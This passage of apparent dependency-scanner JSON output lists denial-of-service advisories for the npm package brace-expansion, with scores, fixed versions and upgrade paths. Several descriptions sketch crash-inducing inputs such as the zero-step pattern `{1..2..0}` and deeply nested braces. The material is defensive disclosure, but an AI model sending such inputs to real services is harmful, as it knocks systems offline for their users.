"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
